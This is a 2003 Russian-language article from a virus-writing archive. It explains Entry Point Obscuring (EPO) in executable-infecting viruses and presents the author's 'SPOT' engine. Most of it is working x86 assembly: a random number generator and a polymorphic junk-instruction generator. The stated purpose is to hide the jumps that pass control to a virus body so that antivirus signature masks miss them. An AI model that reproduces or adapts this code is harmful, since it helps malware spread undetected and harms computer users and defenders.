Построение простого EPO мотора

Дата публикации 1 ноя 2003

Построение простого EPO мотора — Архив WASM.RU

В данной статье мы рассмотрим моделирование простого EPO мотора. На данную тему уже было написано несколько статей, но они в большей степени теоритические. В этом тексте будет рассмотрено, как теоритическое моделирование так и пример применения этой теории. В качестве примера будет разобран мой ЕPO мотор - SPOT.

Начнём мы прежде всего с определения EPO - Entry Point Obscuring. В переводе это означает - скрытие точки входа. В основном данное понятие применяется к компьютерным вирусам, которые не меняют в заголовке исполнимого файла точку входа. Точка входа это адрес с которого начинается выполнение программы при её запуске. Впервые данная техника была применена ещё в ДОС вирусах. В аспекте Windows систем данная техника была применена впервые в вирусе Cabanas. В чём же заключалась данная техника давайте рассмотрим на схеме.


        |------------------------------------------|
        |             Заголовок программы          |
        |  (в нём указан адрес запуска программы)  |
        |------------------------------------------|
        |                   .....                  |
        |         Здесь идут различные секции      |
        |                   .....                  |
        |------------------------|-----------------|
|-------| Переход на тело вируса |                 |
|       |------------------------|                 |
|       |               Кодовая секция             |
|       |------------------------------------------|
|       |                   .....                  |
|       |         Здесь идут различные секции      |
|       |                   .....                  |
|       |------------------------------------------|
|------>|                   .....                  |
        |          ВИРУС                      |
        |                   .....                  |
        |------------------------------------------|
  
  

До вируса Cabanas в Windows системах такая техника не применялась. Обычно вирус изменял в заголовке точку входа редактировал виртуальный размер и дописывал своё тело в конец файла (обычно вирус создавал новую секцию). Потому как все вирусы меняли точку входа, то антивирусные программы просто проверяли куда указывает точка входа и потом уже легко или сложно детектировали вирус.

В вирусе Cabanas первые 5 байт кодовой секции вначале сохраняются в теле вируса, а потом перезаписываются jmp'ом на начало вируса. Таким образом не нужно менять точку входа, потому что вирус получит управление после первой инструкции перехода.

После этого пошла волна вариаций на ту же тему. Инструкции передающие управление вирусу усложнялись, видоизменялись. Иногда туда встраивали даже декрипторы, которые расшифровывали закриптованное вирусное тело и передавали на него управление. Но антивирусные программы то же стали проверять куда передают управление первые инструкции кодовой секции. Так же постоянно обновляются маски этих инструкций передающих управление на вирусное тело.

Для того чтобы усложнить анализ и детектирование данных инструкций мной был разработан мотор (модуль), который легко применять. Начнём мы посторение нашего мотора с того, что определимся чего нам необходимо достичь:

1) Чтобы наши инструкции не обнаруживались по маске (мутация)

2) Чтобы наши инструкции не сразу передавали управление вирусу или защите
от взлома программы (маскировка)

3) Чтобы управление в конце концов получил наш код

Теперь попытаемся определится, как наш мотор должен работать:

1) В начало кода встраивается первая партия инструкций, но каждый раз она будет разная. Это будет реализовано за счёт разбавление одной значащей инструкции сложным разнообразным мусором.

2) Первое пятно будет передавать управление второму и так далее, пока последнее пятно не передаст управление инжектированному коду.

Рассмотрим на примере устройство i-ого пятна:

;------------------------------------------------------------------------------;
...................
mov eax,7385673
add ebx,9874
cmp ecx,edx
mov edx,7234
je $+2
jmp to_i_plus1_spot
add eax,456678
...................
;------------------------------------------------------------------------------;

Каждое из пятен сильно мутирующее, то есть по маске его детектировать не возможно. Количество пятен случайно и расстояние между пятнами то же случайно.

Все байты которые перетираются пятнами, сохраняются в теле вируса.

Для работы мотора необходимы следующие модули:

1) Генератор случайных чисел (r_gen32.asm)

2) Генератор исполнимого мусора (t_gen32.asm)

Разберём пример генератора случайных чисел:


;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
;                       [RANDOM IN RANGE GENERATOR V. 0.2]                     ;
;                                                                              ;
;    ############              #############   #############   ######    ###   ;
;    #############            ##############  ##############  ########   ###   ;
;    ##        ###            ###             ###             ###  ###   ###   ;
;    #############            ###  ########   ##############  ###  ###   ###   ;
;    #############            ###  #########  ##############  ###  ###   ###   ;
;    ##        ###            ###        ###  ###             ###  ###   ###   ;
;    ##        ###            ##############  ##############  ###  #########   ;
;    ##        ###  #########  ############    #############  ###   #######    ;
;                   #########                                                  ;
;                                                                              ;
;                               FOR MS WINDOWS                                 ;
;                                                                              ;
;                                   BY SL0N                                    ;
;------------------------------------------------------------------------------;
;                                   MANUAL:                                    ;
;                                                                              ;
; RANGE OF RANDOM NUMBER -> EAX                                   ;
; CALL  BRANDOM32                               ;
;                ;
; RANDOM NUMBER IN RANGE -> EAX                                   ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
brandom32:                                         
  call delta2
delta2:  pop ebp
  sub ebp,offset delta2
         ; Эта подпрограмма 
         ; возвращает случайное число
         ; в диапазоне 0..eax-1

  push edx ecx                    ; Сохраняем в стэке edx, ecx
  xor edx,edx                    ; Обнуляем edx
  imul eax,eax,100                ; Умножаем eax на 100
  push eax                        ; и сохраняем eax в стэке
  call random32                   ; Вызываем подпрограмму
         ; генерации случайного числа
  pop ecx                        ; Восстанавливаем значение
         ; из стэка в ecx
  div ecx                        ; Делим eax на ecx
  xchg eax,edx                    ; Помещаем остаток в eax
  xor edx,edx                    ; Обнуляем edx
  mov ecx,100                    ; Помещаем в ecx - 100
  div ecx                        ; Делим eax на ecx
  pop ecx edx                    ; Восстанавливаем ecx, edx
  ret                                ; Возврат из подпрограммы
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
;   RANDOM NUMBER GENERATOR SUBROUTINE         ;
;------------------------------------------------------------------------------;
;              [ IN ]           ;
;                                                                              ;
;                 NO INPUT IN SUBROTINE                             ;
;------------------------------------------------------------------------------;
;              [ OUT ]           ;
;                ;
;                     RANDOM NUMBER -> EAX                              ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
random32:                                          
         ; Генератор случайных чисел

  push edx ecx                    ; Сохраняем в стэке edx, ecx
  db 0fh,031h                   ; Инструкция rdtsc
  rcl eax,2                      ; Далее идут различные
  add eax,12345678h              ; математические
  random_seed = dword ptr $-4        ; преобразования
  adc eax,esp                    ; для получения, как
  xor eax,ecx                    ; можно более не зависимого
  xor [ebp+random_seed], eax     ; числа
  add eax,[esp-8]                ;
  rcl eax,1                      ;
  pop ecx edx                    ; Восстанавливаем ecx, edx
  ret                                ; Возврат из подпрограммы
;------------------------------------------------------------------------------;
  

Ничего сложного в этом модуле, как вы можете видеть нет.

Теперь перейдём к разаработке генератора мусора. Потому как без него с таким
декриптором очень сложно достигнуть настоящего полиморфизма.

Исполнимый код должен быть как можно более разнообразным. В идеале получившийся декриптор с мусором должен походить на обыкновенную программу с условными переходами и множеством функций.

Рассмотрим генератора мусора на примере:

;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
;                             [TRASH GENERATOR V. 0.2]                         ;
;                                                                              ;
; #############       #############   #############   ######    ####     ;
; #############      ##############  ##############  ########   ####     ;
;     ###            ###             ###             ###  ###   ####     ;
;     ###            ###  ########   ##############  ###  ###   ####     ;
;     ###            ###  #########  ##############  ###  ###   ###      ;
;     ###            ###        ###  ###             ###  ###   ###      ;
;     ###            ##############  ##############  ###  #########      ;
;     ###  #########  ############    #############  ###   #######       ;
;          #########                                                     ;
;                                                                              ;
;                                                                              ;
;                                  FOR MS WINDOWS                              ;
;                                                                              ;
;                                      BY SL0N                                 ;
;------------------------------------------------------------------------------;
;                                      MANUAL:                                 ;
;                                                                              ;
; LENGTH OF GARBAGE   -> ECX                                    ;
; BUFFER FOR GARBAGE  -> EDI                                     ;
; USELESS REGISTER N1 -> BH (0..7)                                ;
; USELESS REGISTER N2 -> BL (0..7)                               ;
;                 ;
; CALL GARBAGE                                                                ;
;------------------------------------------------------------------------------;
;                           IT GENERATES INSTRUCTIONS:                         ;
;                                                                              ;
; MOV, MOVSX/ZX, XCHG, LEA, ADD/ADC/AND/OR/SUB/SBB/XOR/CMP                     ;
; INC/DEC, NOT/NEG, TEST, IMUL, ROL/ROR/RCL/RCR/SHL/SHR                        ;
; SHLD/SHRD, XADD, BSR/BSF, BT/BTC/BTR/BTS, JMP,REPZ/NZ                        ;
; PUSH/POP, X87, JX/JNX, STX, CLX, NOP, CALL                                   ;
;                                                                              ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
garbage:                                           ; Подпрограмма генерации
         ; мусорных инструкций
  push edx                        ; Сохраняем в стэке
  push ecx                        ; edx, ecx, ebx, ebp, esi
  push esi                        ; 
  push ebp                        ;
  push ebx                        ;

  call delta_offset1              ; 
delta_offset1: pop ebp                        ; Получаем дельта смещение
  sub ebp,offset delta_offset1   ;
delta_offset:
  mov eax,19                     ; Выбираем случайным образом
  call brandom32                  ; вариант генерации мусорных
         ; инструкций
  shl eax,1                      ; Умножаем eax на 2
  lea esi,[ebp+mega_table]       ; В esi смещение на таблицу
         ; относительных смещений
  add esi,eax                    ; к esi добавляем eax
  xor eax,eax                    ; Обнуляем eax
  lodsw                              ; В ax загружаем 
         ; относительное смещение от
         ; метки delta_offset
  lea esi,[ebp+delta_offset]     ; В esi кладём смещение 
         ; метки delta_offset
  add eax,esi                    ; Добавляем смещение 
         ; подпрограммы
  call eax                        ; Вызываем её
  jmp delta_offset               ; Переход на delta_offset
;------------------------------------------------------------------------------;
instr_je:
  cmp cl,2                       ; Если длина генерируемой
  jl one_byte                   ; инструкции меньше 2, то
                                     ; мы переходим на генерацию
         ; однобайтовых инструкций
  mov eax,10                     ; Выбираем случайным образом
  call brandom32                  ; число от 0..9
                                     ;
  add al,70h                     ; Добавляем 70h
  stosb                              ; и кладём его в буфер
  xor al,al                      ; Помещаем в al - 0 
  stosb                              ; и кладём его в буфер
                                     ;
         ; В итоге у нас получается
         ; случайно выбранный,
         ; условный, вырожденный
         ; переход:
         ; ...................
         ; je              $+2
         ; jae      $+2
         ; ...................
  sub ecx,2                      ; Уменьшаем счётчик на 2
  ret                                ; Возврат из подпрограммы
;------------------------------------------------------------------------------;
instr_not:
  cmp cl,2                       ; Если длина генерируемой
  jl one_byte                   ; инструкции меньше 2, то
                                     ; мы переходим на генерацию
         ; однобайтовых инструкций
  mov al,0f7h                    ; Помещаем в al - 0f7h
  stosb                              ; и кладём его в буфер
  mov dl,0d0h                    ; Помещаем в dl - 0dh 
  mov eax,2                      ; Генерируем случайное число
  call brandom32                  ; в диапазоне 0..2
  shl eax,3                      ; Умножаем на 8
  add dl,al                      ; Добавляем к dl - al
  call free_reg                   ; Вызываем подпрограмму 
                                     ; получения свободных 
         ; регистров
  add al,dl             ; Добавляем к al - dl
  stosb                              ; и кладём его в буфер
         ; В итоге у нас получается
         ; случайно выбранная
         ; инструкция NOT/NEG:
         ; ...................
         ; not             eax
         ; neg      edx
         ; ...................
  sub ecx,2                      ; Уменьшаем счётчик на 2
  ret                                ; Возврат из подпрограммы
;------------------------------------------------------------------------------;
instr_je2:
  cmp cl,6                       ; Если длина генерируемой
  jl one_byte                   ; инструкции меньше 6, то
                                     ; мы переходим на генерацию
         ; однобайтовых инструкций
  mov al,0fh                     ; Помещаем в al - 0fh
  stosb                              ; и кладём его в буфер
  mov eax,10                     ; Выбираем случайным образом
  call brandom32                  ; число от 0..9
                                     ;
  add al,80h                     ; Добавляем 80h
  stosb                              ; и кладём его в буфер
  xor eax,eax                    ; Помещаем в eax - 0 
  stosd                              ; и кладём его в буфер
                                     ;
         ; В итоге у нас получается
         ; случайно выбранный,
         ; условный, вырожденный
         ; переход:
         ; ...................
         ; je              $+5
         ; jae             $+5
         ; ...................
  sub ecx,6                      ; Уменьшаем счётчик на 6
  ret                                ; Возврат из подпрограммы
;------------------------------------------------------------------------------;
instr_x87:
  cmp cl,2                       ; Если длина генерируемой
  jl one_byte                   ; инструкции меньше 2, то
                                     ; мы переходим на генерацию
         ; однобайтовых инструкций
  mov al,0dch                    ; Кладём в al - 0dch
  stosb                              ; И помещаем al в буфер
  mov eax,02fh                   ; Генерируем случайное число
  call brandom32                  ; в интервале 0..2eh
  add al,0c0h                    ; Добавляем к числу 0c0h
  stosb                              ; и помещаем сумму в буфер
         ; В итоге у нас получается
         ; случайно выбранная
         ; инструкция сопроцессора:
         ; ...................
         ; fadd       st(0),st
         ; fmul       st(7),st
         ; ...................
  sub ecx,2                      ; Уменьшаем счётчик на 2
  ret                                ; Возврат из подпрограммы
;------------------------------------------------------------------------------;
instr_cmp:
  cmp cl,2                       ; Если длина генерируемой
  jl one_byte                   ; инструкции меньше 2, то
                                     ; мы переходим на генерацию
         ; однобайтовых инструкций
  mov dl,3ah                     ; Помещаем в dl - 03ah
  mov eax,3                      ; Получаем случайное число
  call brandom32                  ; в диапазоне 0..2
  add al,dl                      ; Добавляем к al - dl
  stosb                              ; Затем помещаем al в буфер
  call rnd_reg                    ; Получаем случайный регистр
  shl eax,3                      ; Умножаем eax на 8
  add al,0c0h                    ; Добавляем к al - 0c0h
  mov dl,al                      ; помещаем в cl - al
  call rnd_reg                    ; Получаем случайный регистр
  add al,dl                      ; Добавляем к al - cl
  stosb                              ; И помещаем al в буфер
         ; В итоге у нас получается
         ; случайно выбранная
         ; инструкция CMP:
         ; ...................
         ; cmp         eax,esp
         ; cmp          al,0c0
         ; ...................
  sub ecx,2                      ; Уменьшаем счётчик на 2
  ret                                ; Возврат из подпрограммы
;------------------------------------------------------------------------------;
instr_xor:
  cmp cl,2                       ; Если длина генерируемой
  jl one_byte                   ; инструкции меньше 2, то
                                     ; мы переходим на генерацию
         ; однобайтовых инструкций
  mov al,33h                     ; Помещаем в al - 33h
  stosb                              ; И затем кладём это в буфер
  call free_reg                   ; Вызываем подпрограмму 
                                     ; получения свободных 
         ; регистров
  shl eax,3                      ; Умножаем eax на 8
  add al,0c0h                    ; Добавляем к al - 0c0h
  mov dl,al                      ; помещаем в cl - al
  call rnd_reg                    ; Получаем случайный регистр
  add al,dl                      ; Добавляем к al - cl
  stosb                              ; И помещаем al в буфер
         ; В итоге у нас получается
         ; случайно выбранная
         ; инструкция XOR:
         ; ...................
         ; xor         eax,esp
         ; xor         edi,ecx
         ; ...................
  sub ecx,2                      ; Уменьшаем счётчик на 2
  ret                                ; Возврат из подпрограммы
;------------------------------------------------------------------------------;
instr_test:
  cmp cl,2                       ; Если длина генерируемой
  jl one_byte                   ; инструкции меньше 2, то
                                     ; мы переходим на генерацию
         ; однобайтовых инструкций
  mov dl,084h                    ; Помещаем в dl - 084h
  mov eax,2                      ; Получаем случайное число
  call brandom32                  ; в диапазоне 0..1
  add al,dl                      ; Добавляем к al - dl
  stosb                              ; И затем кладём это в буфер
  call rnd_reg                    ; Вызываем подпрограмму 
                                     ; получения случайного 
         ; регистра
  add al,0c0h                    ; Добавляем к al - 0c0h
  mov dl,al                      ; помещаем в cl - al
  call rnd_reg                    ; Получаем случайный регистр
  add al,dl                      ; Добавляем к al - cl
  stosb                              ; И помещаем al в буфер
         ; В итоге у нас получается
         ; случайно выбранная
         ; инструкция XOR:
         ; ...................
         ; test        eax,esp
         ; test          al,cl
         ; ...................
  sub ecx,2                      ; Уменьшаем счётчик на 2
  ret                                ; Возврат из подпрограммы
;------------------------------------------------------------------------------;
instr_movr:
  cmp cl,2                       ; Если длина генерируемой
  jl one_byte                   ; инструкции меньше 2, то
                                     ; мы переходим на генерацию
         ; однобайтовых инструкций
  mov al,8bh      ; Помещаем в al - 8bh
  stosb                              ; Потом помещаем al в буфер
  call free_reg                   ; Вызываем подпрограмму 
                                     ; получения свободных 
         ; регистров
  shl eax,3                      ; Умножаем eax на 8
  add al,0c0h                    ; Добавляем к al - 0c0h
  mov dl,al                      ; помещаем в cl - al
  call rnd_reg                    ; Получаем случайный регистр
  add al,dl                      ; Добавляем к al - cl
  stosb                              ; И помещаем al в буфер
         ; В итоге у нас получается
         ; случайно выбранная
         ; инструкция MOV:
         ; ...................
         ; mov         eax,esp
         ; mov         edi,ecx
         ; ...................
  sub ecx,2                      ; Уменьшаем счётчик на 2
  ret                                ; Возврат из подпрограммы
;------------------------------------------------------------------------------;
instr_push:
  cmp cl,2                       ; Если длина генерируемой
  jl one_byte                   ; инструкции меньше 2, то
                                     ; мы переходим на генерацию
         ; однобайтовых инструкций
  call rnd_reg                    ; Получаем случайный регистр
  add al,50h                     ; Добавляем к al - 50h
  stosb                              ; Кладём al в буфер
  call free_reg                   ; Вызываем подпрограмму 
                                     ; получения свободных 
         ; регистров
  add al,58h                     ; Добавляем к al - 8
  stosb                              ; И опять кладём al в буфер
         ; В итоге у нас получается
         ; случайно выбранная
         ; инструкции PUSH/POP:
         ; ...................
         ; push            eax
         ; pop             ecx
         ; ...................
  sub ecx,2                      ; Уменьшаем счётчик на 2
  ret                                ; Возврат из подпрограммы
;------------------------------------------------------------------------------;
instr_movc:
  cmp cl,5                       ; Если длина генерируемой
  jl one_byte                   ; инструкции меньше 5, то
                                     ; мы переходим на генерацию
         ; однобайтовых инструкций
  call free_reg                   ; Вызываем подпрограмму 
                                     ; получения свободных 
         ; регистров
  add al,0b8h                    ; Добавляем к al - 0b8h
  stosb                              ; И кладём al в буфер
  call random32                   ; Генерируем случайное
  stosd                              ; число
         ; В итоге у нас получается
         ; случайно выбранная
         ; инструкции MOV:
         ; ...................
         ; mov    eax,12345678
         ; mov    ebp,00056800
         ; ...................
  sub ecx,5                      ; Уменьшаем счётчик на 5
  ret                                ; Возврат из подпрограммы
;------------------------------------------------------------------------------;
instr_jmp:
  cmp cl,5                       ; Если длина генерируемой
  jl one_byte                   ; инструкции меньше 5, то
                                     ; мы переходим на генерацию
         ; однобайтовых инструкций
  mov al,0e9h                    ; Кладём в al - 0b8h
  stosb                              ; И кладём al в буфер
  xor eax,eax      ; Обнуляем eax 
  stosd                              ; И кладём его в буфер
         ; В итоге у нас получается
         ; случайно выбранная
         ; инструкции JMP:
         ; ...................
         ; jmp             $+5
         ; ...................
  sub ecx,5                      ; Уменьшаем счётчик на 5
  ret                                ; Возврат из подпрограммы
;------------------------------------------------------------------------------;
instr_l32:
  cmp cl,6                       ; Если длина генерируемой
  jl one_byte                   ; инструкции меньше 6, то
                                     ; мы переходим на генерацию
         ; однобайтовых инструкций
  mov al,81h                     ; Кладём в al - 81h
  stosb                              ; И помещаем al в буфер
  mov eax,4                      ; Получаем случайное число
  call brandom32                  ; в диапазоне от 0..9
  add al,0ch                     ; Добавляем к нему - 0ch
  mov dl,10h                     ; Кладём в dl - 10h
  mul dl                         ; Умножаем на dl
  mov dl,al                      ; Кладём в dl - al
  mov eax,2                      ; Получаем случайное число
  call brandom32                  ; в диапазоне от 0..1
  shl al,3                       ; Умножаем al на 8
  add dl,al                      ; Добавляем к dl - al
  call free_reg                   ; Вызываем подпрограмму 
                                     ; получения свободных 
         ; регистров
  add al,dl                      ; Добавляем к al - dl
  stosb                              ; И кладём al в буфер
  call random32                   ; Генерируем случайное
  stosd                              ; число и кладём его в буфер
         ; В итоге у нас получается
         ; случайно выбранная
         ; инструкции ADD:
         ; ...................
         ; add    eax,12345678
         ; or     ebp,00056800
         ; ...................
  sub ecx,6                      ; Уменьшаем счётчик на 5
  ret                                ; Возврат из подпрограммы
;------------------------------------------------------------------------------;
instr_lea:
  cmp cl,6                       ; Если длина генерируемой
  jl one_byte                   ; инструкции меньше 6, то
                                     ; мы переходим на генерацию
         ; однобайтовых инструкций
  mov al,8dh                     ; Кладём в al - 8dh
  stosb                              ; И помещаем al в буфер
  mov dl,08h                     ; Кладём в dl - 08h
  call free_reg                   ; Вызываем подпрограмму 
                                     ; получения свободных 
         ; регистров
  mul dl                         ; Добавляем к al - dl
  add al,5      ; Добавляем к al - 5
  stosb                              ; И кладём al в буфер
  call random32                   ; Генерируем случайное
  stosd                              ; число
         ; В итоге у нас получается
         ; случайно выбранная
         ; инструкции LEA:
         ; ...................
         ; lea  eax,[12345678]
         ; lea  ebp,[00056800]
         ; ...................
  sub ecx,6                      ; Уменьшаем счётчик на 6
  ret                                ; Возврат из подпрограммы
;------------------------------------------------------------------------------;
instr_cl:
  cmp cl,6                       ; Если длина генерируемой
  jl one_byte                   ; инструкции меньше 6, то
                                     ; мы переходим на генерацию
         ; однобайтовых инструкций
  mov al,0e8h                    ; Кладём в al - e8h
  stosb                              ; И помещаем al в буфер
  xor eax,eax                    ; Обнуляем eax и помещаем
  stosd                              ; его в буфер
  call free_reg                   ; Вызываем подпрограмму 
                                     ; получения свободных 
         ; регистров
  add al,58h                     ; Добавляем к al - 8
  stosb                              ; И опять кладём al в буфер
         ; В итоге у нас получается
         ; случайно выбранная
         ; инструкции CALL:
         ; ...................
         ; call            $+5
         ; pop             eax
         ; ...................
  sub ecx,6                      ; Уменьшаем счётчик на 6
  ret                                ; Возврат из подпрограммы
;------------------------------------------------------------------------------;
instr_shl:
  cmp cl,3                       ; Если длина генерируемой
  jl one_byte                   ; инструкции меньше 3, то
                                     ; мы переходим на генерацию
         ; однобайтовых инструкций
  mov al,0c1h                    ; Кладём в al - 0c1h
  stosb                              ; И помещаем al в буфер
  mov eax,6                      ; Генерируем случайное число
  call brandom32                  ; в диапазоне 0..5
  shl eax,3                      ; Умножаем его на 8
  add al,0c0h                    ; Добавляем к нему - 0c0h
  mov dl,al                      ; Помещаем в dl - al
  call free_reg                   ; Вызываем подпрограмму 
                                     ; получения свободных 
         ; регистров
  add al,dl                      ; Добавляем к al - dl
  stosb                              ; И помещаем al в буфер
  mov eax,256                    ; Генерируем случайное число
  call brandom32                  ; в диапазоне 0..255
  stosb                     ; И кладём его в буфер
         ; В итоге у нас получается
         ; случайно выбранная
         ; инструкции SHL,ROL, ...:
         ; ...................
         ; ror          eax,78
         ; shl          ebp,04
         ; ...................
  sub ecx,3                      ; Уменьшаем счётчик на 2
  ret                                ; Возврат из подпрограммы
;------------------------------------------------------------------------------;
instr_a32:
  cmp cl,3                       ; Если длина генерируемой
  jl one_byte                   ; инструкции меньше 3, то
                                     ; мы переходим на генерацию
         ; однобайтовых инструкций
  mov al,0fh                     ; Кладём в al - 0fh
  stosb                              ; И помещаем al в буфер
  lea esi,[ebp+three_byte_opcode]; Кладём в esi указатель на
         ; таблицу частей 3-х байтных
         ; инструкций
  mov eax,14                     ; Генерируем случайное число
  call brandom32                  ; в диапазоне 0..13
  add esi,eax                    ; Прибавляем к esi - eax 
  movsb                              ; Перемещаем байт в буфер
  mov dl,0c0h                    ; Кладём в dl - 0с0h
  call free_reg                   ; Вызываем подпрограмму 
                                     ; получения свободных 
         ; регистров
  shl eax,3      ; Умножаем eax на 8
  add dl,al                      ; Добавляем к dl - al
  call free_reg                   ; Вызываем подпрограмму 
                                     ; получения свободных 
         ; регистров
  add al,dl                      ; Добавляем к al - dl
  stosb                              ; И помещаем al в буфер
         ; В итоге у нас получается
         ; случайно выбранная
         ; инструкции XADD,IMUL, ...:
         ; ...................
         ; xadd        eax,eax
         ; imul        ebp,ecx
         ; ...................
  sub ecx,3                      ; Уменьшаем счётчик на 3
  ret                                ; Возврат из подпрограммы
;------------------------------------------------------------------------------;
instr_xchg:
  cmp cl,2                       ; Если длина генерируемой
  jl one_byte                   ; инструкции меньше 2, то
                                     ; мы переходим на генерацию
         ; однобайтовых инструкций
  mov al,087h                    ; Кладём в al - 087h
  stosb                              ; И помещаем al в буфер
  mov dl,0c0h                    ; Кладём в dl - 0с0h
  call free_reg                   ; Вызываем подпрограмму 
                                     ; получения свободных 
         ; регистров
  shl eax,3      ; Умножаем eax на 8
  add dl,al                      ; Добавляем к dl - al
  call free_reg                   ; Вызываем подпрограмму 
                                     ; получения свободных 
         ; регистров
  add al,dl                      ; Добавляем к al - dl
  stosb                              ; И помещаем al в буфер
         ; В итоге у нас получается
         ; случайно выбранная
         ; инструкции XCHG:
         ; ...................
         ; xchg        eax,eax
         ; xchg        ebp,ecx
         ; ...................
  sub ecx,2                      ; Уменьшаем счётчик на 2
  ret                                ; Возврат из подпрограммы
;------------------------------------------------------------------------------;
instr_a16:
  cmp cl,4                       ; Если длина генерируемой
  jl one_byte                   ; инструкции меньше 4, то
                                     ; мы переходим на генерацию
         ; однобайтовых инструкций
  mov al,066h                    ; Кладём в al - 066h
  stosb                              ; И помещаем al в буфер
  mov dl,0b8h                    ; Помещаем в dl - 0b8h
  call free_reg                   ; Вызываем подпрограмму 
                                     ; получения свободных 
         ; регистров
  add al,dl                      ; Добавляем к al - dl
  stosb                              ; И помещаем al в буфер
  mov eax,0ffffh                 ; Генерируем случайное число
  call brandom32                  ; в диапазоне 0..65534
  stosw                              ; И помещаем его в буфер
         ; В итоге у нас получается
         ; случайно выбранная
         ; инструкции MOV:
         ; ...................
         ; mov         ax,3452
         ; mov         bp,1234
         ; ...................
  sub ecx,4                      ; Уменьшаем счётчик на 4
  ret                                ; Возврат из подпрограммы
;------------------------------------------------------------------------------;
one_byte:
  mov eax,3                      ; Генерируем случайное число
  call brandom32                  ; в диапазоне 0..2
                                     
  cmp al,1                       ; Если число = 1, то 
  je instr_inc                  ; генерируем инструкцию INC

  cmp al,2                       ; Если число = 2, то
  je instr_dec                  ; генерируем инструкцию DEC

  lea esi,[ebp+one_byte_opcode]  ; Кладём в esi указатель на
         ; таблицу однобайтных
         ; инструкций
  mov eax,8                      ; Генерируем случайное число
  call brandom32                  ; в диапазоне 0..7
  add esi,eax                    ; Прибавляем к esi - eax 
  test ecx,ecx                    ; Если длина инструкции = 0,
  jz landing                    ; тогда переходим на конец
  movsb                              ; Помещаем инструкцию
         ; из таблицы в буфер
         ; В итоге у нас получается
         ; случайно выбранная
         ; инструкция из таблицы:
         ; ...................
         ; cld             
         ; nop             
         ; ...................
  dec ecx                        ; Уменьшаем ecx на единицу
  ret                                ; Возврат из подпрограммы
;------------------------------------------------------------------------------;
instr_inc:
  call free_reg                   ; Вызываем подпрограмму 
                                     ; получения свободных 
         ; регистров
  add al,40h                     ; Добавляем к al - 40h
  test ecx,ecx                    ; Если длина инструкции = 0,
  jz landing                    ; тогда переходим на конец
  stosb                              ; Помещаем al в буфер
         ; В итоге у нас получается
         ; случайно выбранная
         ; инструкции INC:
         ; ...................
         ; inc             eax
         ; inc             ebp
         ; ...................
  dec ecx                        ; Уменьшаем ecx на единицу
  ret                                ; Возврат из подпрограммы
;------------------------------------------------------------------------------;
instr_dec:
  call free_reg                   ; Вызываем подпрограмму 
                                     ; получения свободных 
         ; регистров
  add al,48h                     ; Добавляем к al - 40h
  test ecx,ecx                    ; Если длина инструкции = 0,
  jz landing                    ; тогда переходим на конец
  stosb                              ; Помещаем al в буфер
         ; В итоге у нас получается
         ; случайно выбранная
         ; инструкции DEC:
         ; ...................
         ; dec             eax
         ; dec             ebp
         ; ...................
  dec ecx                        ; Уменьшаем ecx на единицу
  ret                                ; Возврат из подпрограммы
;------------------------------------------------------------------------------;
landing:        
  add esp,4                      ; Выталкиваем их стэка уже
  pop ebx                        ; не нужный адрес возврата
  pop ebp      ; 
  pop esi                        ; Восстанавливаем регистры
  pop ecx                        ; из стэка.
  pop edx                        ;
  ret                                ; Возврат из подпрограммы
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
;       FREE REGISTER SUBROUTINE                 ;
;------------------------------------------------------------------------------;
;                [ IN ]           ;
;                                                                              ;
;                 NO INPUT IN SUBROTINE                             ;
;------------------------------------------------------------------------------;
;                [ OUT ]           ;
;                ;
;                     FREE REGISTER -> EAX                              ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
free_reg:                                          
         ; Подпрограмма получения
                                                   ; свободного регистра

  push edx ecx                    ; Сохраняем в стэке edx, ecx
another:                                           ;
  call rnd_reg                    ; Получаем случайный регистр
  cmp al,bh                    ; Свободный регистр не может
  je another                    ; быть таким как reg1
  cmp al,bl                      ; Свободный регистр не может
  je another                    ; быть таким как reg1
  cmp al,00000100b               ; Используем все регистры 
  je another                    ; кроме esp

  pop ecx edx                    ; Восстанавливаем ecx, edx
  ret                                ; Возврат из подпрограммы
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
;       RANDOM REGISTER SUBROUTINE                 ;
;------------------------------------------------------------------------------;
;                [ IN ]           ;
;                                                                              ;
;                 NO INPUT IN SUBROTINE                             ;
;------------------------------------------------------------------------------;
;                [ OUT ]           ;
;                ;
;                     RANDOM REGISTER -> EAX                            ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
rnd_reg:                                           
                                                   ; Подпрограмма получения
                ; случайного регистра

  mov eax,8                      ; Получаем случайное число
  call brandom32                  ; в диапазоне 0..7
  ret                                ; Возврат из подпрограммы
;------------------------------------------------------------------------------;
mega_table:
  dw instr_x87  -delta_offset   ;
  dw instr_movr -delta_offset   ; 
  dw instr_push -delta_offset   ; 
  dw instr_shl  -delta_offset   ; 
  dw instr_cmp  -delta_offset   ;
  dw instr_xor  -delta_offset   ;
  dw one_byte   -delta_offset   ;
  dw instr_movc -delta_offset   ;
  dw instr_je   -delta_offset   ; Таблица относительных
  dw instr_je2  -delta_offset   ; смещений от метки 
  dw instr_l32  -delta_offset   ; delta_offset
  dw instr_jmp  -delta_offset   ;
  dw instr_lea  -delta_offset   ;
  dw instr_test -delta_offset   ;
  dw instr_not  -delta_offset   ;
  dw instr_xchg -delta_offset   ;
  dw instr_a32  -delta_offset   ;
